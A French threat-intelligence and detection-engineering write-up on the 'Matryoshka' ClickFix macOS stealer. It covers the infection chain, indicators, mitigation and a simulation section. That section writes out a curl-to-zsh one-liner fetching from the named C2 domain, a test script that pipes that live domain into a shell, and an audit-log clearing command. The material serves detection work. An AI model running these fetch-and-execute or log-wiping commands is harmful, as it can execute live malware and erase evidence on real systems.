Déballage de la Nouvelle Variante « Matryoshka » ClickFix : Campagne de Typosquatting Livrant un Voleur macOS

Résumé

Une nouvelle opération de malware sur macOS, baptisée Matryoshka, exploite un domaine typosquatté pour inciter les victimes à coller une commande malveillante dans le Terminal. Cette commande tire un script encodé qui se décode en mémoire et déploie finalement un voleur basé sur AppleScript visant les identifiants de navigateur et les portefeuilles de cryptomonnaie. L’installateur fonctionne discrètement en arrière-plan, supprime la sortie visible et télécharge les données récoltées en utilisant un en-tête API personnalisé. La campagne est motivée par l’interaction utilisateur plutôt que par une exploitation logicielle.

Investigation

Les analystes d’Intego ont reconstruit la chaîne de bout en bout : un domaine typosquatté redirige les utilisateurs vers une étape shell légère hébergée sur barbermoo.xyz. Ce script effectue un décodage Base64 + gzip en mémoire, exécute un chargeur qui récupère la charge utile AppleScript et met en scène les résultats de la collecte dans /tmp/osalogging.zip avant l’exfiltration. L’AppleScript tente de voler des identifiants en présentant une fausse invite de Préférences Système, et cible également les outils de cryptographie en remplaçant ou en modifiant les paquets applicatifs Ledger Live et Trezor Suite.

Atténuation

La sensibilisation des utilisateurs est le principal contrôle : ne pas coller de commandes Terminal provenant de sites web. Bloquez et surveillez les domaines typosquattés et liés au C2 identifiés, ainsi que l’infrastructure de distribution du trafic prenant en charge la livraison. Appliquez le listing d’applications autorisées et utilisez une protection des points de terminaison qui peut détecter les exécutions suspectes d’osascript et les motifs de récupération anormaux basés sur curl.

Réponse

Alertez sur les exécutions de curl initiées par Terminal, surveillez la création de /tmp/osalogging.zip et signalez les modifications inattendues des paquets Ledger Live et Trezor Suite. Appliquez le filtrage DNS pour barbermoo.xyz, comparisions.org et macfilesendstream.com. Enquêtez sur tout processus qui se lance silencieusement en arrière-plan immédiatement après une exécution de commande dirigée par curl.

Exécution de Simulation

Prérequis : Le Télémetrie & Vérification de Base doit avoir réussi.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le narratif DOIVENT directement refléter les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.

• Narratif d’Attaque & Commandes :
  Un adversaire ayant déjà compromis un compte macOS peu privilégié souhaite exécuter une charge utile à distance sans écrire de fichiers sur disque. Ils conçoivent un one-liner qui récupère un script encodé en base-64 depuis un domaine C2 malveillant (barbermoo.xyz), le relie directement à zsh, et utilise finalement eval pour exécuter la charge utile en mémoire. Cette approche est conforme avec T1059.004 (shell Unix) et T1027 (obscurcissement) et correspond exactement à ce que la règle Sigma recherche.

  1. L’attaquant obtient un jeton unique (ABCD1234) qui lie la requête à leur campagne.

  2. Ils exécutent la commande suivante dans une session Terminal :

     curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh

  3. À l’intérieur du script récupéré, une variable payload contient une charge utile malveillante encodée en base64, qui est exécutée via :

     eval "$payload"

  Cela génère deux entrées distinctes en ligne de commande que la règle correspond :

  • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
  • eval "$payload"

• Script de Test de Régression :
  Le script ci-dessous reproduit le comportement malveillant dans un environnement de laboratoire contrôlé. Lancez-le uniquement sur un hôte de test macOS. Il enregistre sa propre exécution dans le journal d’audit système, satisfaisant la règle de détection.

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Simulation de la Variante Matryoshka – déclenche la règle Sigma
  # -------------------------------------------------
  set -euo pipefail
  
  # --- Configuration -------------------------------------------------
  TOKEN="ABCD1234"                     # Remplacez par n'importe quelle chaîne pour simuler l'unicité
  MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
  # Une charge utile inoffensive pour démo – affichant un message (remplacez par la vraie charge utile dans un red-team)
  PAYLOAD="echo 'Payload malveillant exécuté'"
  
  # --- Étape 1 : Récupérer et transmettre à zsh (correspond au premier modèle de détection) ---
  curl -fsSL "${MALICIOUS_URL}" | zsh
  
  # --- Étape 2 : Simuler eval en mémoire (correspond au second modèle) -------------
  # Dans une vraie attaque, la charge utile serait encodée en base64 et décodée à la volée.
  eval "${PAYLOAD}"

• Commandes de Nettoyage : Supprimez tous les processus transitoires et restaurez l’état du shell.

  # Tuer tous les processus zsh lancés par le test (s'ils sont encore en cours)
  pkill -f "zsh -c .*barbermoo.xyz"
  
  # Optionnellement clairer le journal d'audit des entrées de test (nécessite un admin)
  sudo audit -c      # Vide le tampon d'audit (démontre T1070.010)